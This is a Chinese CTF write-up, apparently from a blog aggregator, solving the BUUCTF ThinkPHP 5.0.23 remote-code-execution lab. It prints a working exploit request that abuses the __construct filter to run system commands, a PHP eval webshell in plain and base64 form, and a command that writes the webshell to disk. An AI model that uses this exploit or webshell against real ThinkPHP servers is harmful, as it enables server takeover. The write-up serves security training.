BUUCTF-Real-ThinkPHP]5.0.23-Rce

漏洞介绍

这个版本容易存在我们都喜欢的rce漏洞!

网站为了提高访问效率往往会将用户访问过的页面存入缓存来减少开销。而Thinkphp 在使用缓存的时候是将数据序列化,然后存进一个 php 文件中,这使得命令执行等行为成为可能!


ThinkPHP是国内使用极其广泛的PHP开发框架。在其5.0版本(<5.0.24)中,框架在获取请求方法时对其进行了错误的处理,导致攻击者可以调用Request类的任意方法,从而通过特定的利用链产生RCE漏洞


 POC验证



经过poc验证发现此版本漏洞!

漏洞利用

POST /index.php?s=captcha HTTP/1.1
Host: node5.buuoj.cn:29727
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

默认页面抓包,发现是get包!我们将其转换成post数据包,参数加上 /index.php?s=captcha

在post包最后一行加上paylaod验证漏洞!


发现有回显,则说明此版本存在rce漏洞!我们可以借此写入木马,getshell!





写入一句话木马,并使用蚁剑连接即可!


payload<?php @eval($_POST['cmd']);?>base64编码  --  PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= | base64 -d > 123.php

get flag

根据之前的经验,flag应该在phpinfo页面!我们直接写马进入!



echo "<?php phpinfo();?>" > 1.php


 



直接搜索,即可拿到flag

flag{611e3897-6de3-439f-a481-80dbd49a1b4b}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/664819.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL 数据库表的增删改查(基础版)

目录 1 前言(CRUD)2 新增(Create)2.1 全列插入2.2 指定列插入2.3 关于日期和时间的插入 3 查询(Retrieve)3.1 全列查询3.2 指定列查询3.3 查询字段为表达式3.4 取别名3.5 去重3.6 排序3.7 条件查询3.8 分页查询 4 更新(Update)5 删除(Delete) 1 前言(CRUD) CRUD &#xff1a; …

Springboot 自定义参数配置化,密钥,密码,文件保存路径

application.properties 和 application.yml 都是一样的配置方法&#xff0c;只是格式不一样 定义配置文件 server.port8080 image.save.pathE:\ #自定义文件保存路径读取配置文件 Value("${image.save.path}")private String filePath;//E:\优化配置文件 如果我参…

HashMap的扩容机制

HashMap简介 HashMap在底层数据结构上采用了数组&#xff0b;链表&#xff0b;红黑树&#xff0c;通过散列映射来存储键值对数据因为在查询上使用散列码&#xff08;通过键生成一个数字作为数组下标&#xff0c;这个数字就是hash code&#xff09;所以在查询上的访问速度比较快…

Redis实现登录的优化

目录 1 前言 2 实现步骤 2.1 软件环境准备 2.1.1 Redis的安装 2.1.2 在pom.xml中添加依赖 2.1.3 在application.yml中进行相关配置 2.2 StringRedisTemplate的常用方法 2.2.1 获取operations 2.2.2 主要方法 2.3 令牌主动失效机制 2.3.1 登录时将令牌存入Redis 2.…

分发饼干(c++题解)

题目描述 你是一位很棒的 OIer&#xff0c;想要给你的同学一些小饼干。但是&#xff0c;每个同学最多只能给一块饼干。对每个同学 &#xff0c;都有一个胃口值 &#xff0c;这是能让同学满足胃口的饼干的最小尺寸&#xff1b;并且每块饼干 &#xff0c;都有一个尺寸 。如果 &a…

备战蓝桥杯---搜索(DFS基础1)

何为深搜&#xff1f; 即不撞南墙不罢休。 话不多说&#xff0c;直接看题&#xff1a; 我们可以把这看成深搜的模板题&#xff0c;下面是AC代码&#xff1a; #include<bits/stdc.h> using namespace std; int a[15];//存值并输出 int vis[15]; int n18; void dfs(int …

Redisson看门狗机制

一、背景 网上redis分布式锁的工具方法&#xff0c;大都满足互斥、防止死锁的特性&#xff0c;有些工具方法会满足可重入特性。如果只满足上述3种特性会有哪些隐患呢&#xff1f;redis分布式锁无法自动续期&#xff0c;比如&#xff0c;一个锁设置了1分钟超时释放&#xff0c;…

✅Redis-管道技术

Redis 作为一种高性能的键值存储数据库&#xff0c;被广泛应用于缓存、会话存储、消息队列等场景。在处理大量请求时&#xff0c;性能是 Redis 最为关注的问题之一。为了提高 Redis 的性能&#xff0c;我们可以借助一些高效的技术&#xff0c;其中管道技术就是其中之一。 比如…

YOLOv5白皮书-第Y3周:yolov5s.yaml文件解读

YOLOv5白皮书-第Y3周:yolov5s.yaml文件解读 YOLOv5白皮书-第Y3周:yolov5s.yaml文件解读一、前言二、我的环境三、yolov5s.yaml源文件内容四、Parameters五、anchors配置六、backbone七、head八、总结 OLOv5-第Y2周&#xff1a;训练自己的数据集) YOLOv5白皮书-第Y3周:yolov5s.…

从MySQL到TiDB:兼容性全解析

MySQL 在高并发和大数据量场景下&#xff0c;单个实例的扩展性有限。而 TiDB 作为一款分布式NewSQL数据库&#xff0c;设计之初就支持水平扩展&#xff08;Scale-Out&#xff09;&#xff0c;通过增加节点来线性提升处理能力和存储容量&#xff0c;能够很好地应对大规模数据和高…

机器学习——绪论总结

目录 一、引入 二、基本术语 三、假设空间与归纳偏 四、模型选择 一、引入 机器学习&#xff1a;通过计算手段&#xff0c;得出具有能够自我修改、完善能力的模型&#xff0c;利用经验改善系统自身性能。算法使用数据得到模型的过程即称为学习&#xff0c;或训练 流程&…

Framework - ActivityThread 应用启动UI渲染流程

一、概念 ActivityThread拥有 main(String[] agrs) 方法&#xff0c;作为程序的入口&#xff0c;是应用程序的初始化类。&#xff08;ActivityThread不是主线程&#xff0c;它在 main() 方法中实例化&#xff0c;是运行在主线程中。&#xff09;ApplicationThread是 ActivityT…

【Nginx】Ubuntu如何安装使用Nginx反向代理?

文章目录 使用Nginx反向代理2个web接口服务步骤 1&#xff1a;安装 Nginx步骤 2&#xff1a;启动 Nginx 服务步骤 3&#xff1a;配置 Nginx步骤 4&#xff1a;启用配置步骤 5&#xff1a;检查配置步骤 6&#xff1a;重启 Nginx步骤 7&#xff1a;访问网站 proxy_set_header 含义…

海外IP代理:解锁网络边界的实战利器

文章目录 引言&#xff1a;正文&#xff1a;一、Roxlabs全球IP代理服务概览特点&#xff1a;覆盖范围&#xff1a;住宅IP真实性&#xff1a;性价比&#xff1a;在网络数据采集中的重要性&#xff1a; 二、实战应用案例一&#xff1a;跨境电商竞品分析步骤介绍&#xff1a;代码示…

分公司的投标之路:探索与实践

在商海的波涛中&#xff0c;分公司作为母公司延伸的触角&#xff0c;常常在招投标的舞台上扮演着重要角色。然而&#xff0c;分公司能否独立参与投标&#xff0c;这是一个值得深入探讨的话题。 一、分公司的定义与地位 首先&#xff0c;我们需要明确什么是分公司。分公司是母公…

使用nodejs和html布局一个简单的视频播放网站,但是使用localhost:端口访问html无法加载视频

js代码&#xff1a; // app.js const express require(express); const path require(path); const app express();// 设置静态文件目录&#xff0c;这里假设你的视频文件在public/videos/目录下 app.use(express.static(path.join(__dirname, )));// 设置主页路由&#xf…

LeetCode--189

189. 轮转数组 提示 给定一个整数数组 nums&#xff0c;将数组中的元素向右轮转 k 个位置&#xff0c;其中 k 是非负数。 示例 1: 输入: nums [1,2,3,4,5,6,7], k 3 输出: [5,6,7,1,2,3,4] 解释: 向右轮转 1 步: [7,1,2,3,4,5,6] 向右轮转 2 步: [6,7,1,2,3,4,5] 向右轮转…

Ingress

文章目录 环境准备什么是 Ingress认识 Ingress 资源Ingress 控制器(controller)Ingress 规则pathType 路径类型多重匹配Ingress 类TLS生成证书创建密钥 环境准备 下面的 yaml 文件内容&#xff0c;是使用 sts 创建两个 web 服务&#xff0c;并配置对应的 servcie。web 服务的首…

Python进行数据分析||AIGC生成的Python-Pandas库的一些主要函数及其使用实例来进行数据分析

在Python的Pandas库中,有许多函数可以用来进行数据分析。以下是一些主要函数及其使用实例: read_csv():这个函数用于从CSV文件中读取数据。例如,如果你有一个名为"my_data.csv"的文件,你可以使用以下代码来读取它:import pandas as pd data = pd.read_csv(&quo…

微信小程序(三十三)promise异步写法

注释很详细&#xff0c;直接上代码 上一篇 新增内容&#xff1a; 1.promise异步与普通异步的写法区别 2.promise异步的优势 源码&#xff1a; index.wxml <view class"preview" bind:tap"onChoose"><image src"{{avatar}}" mode"…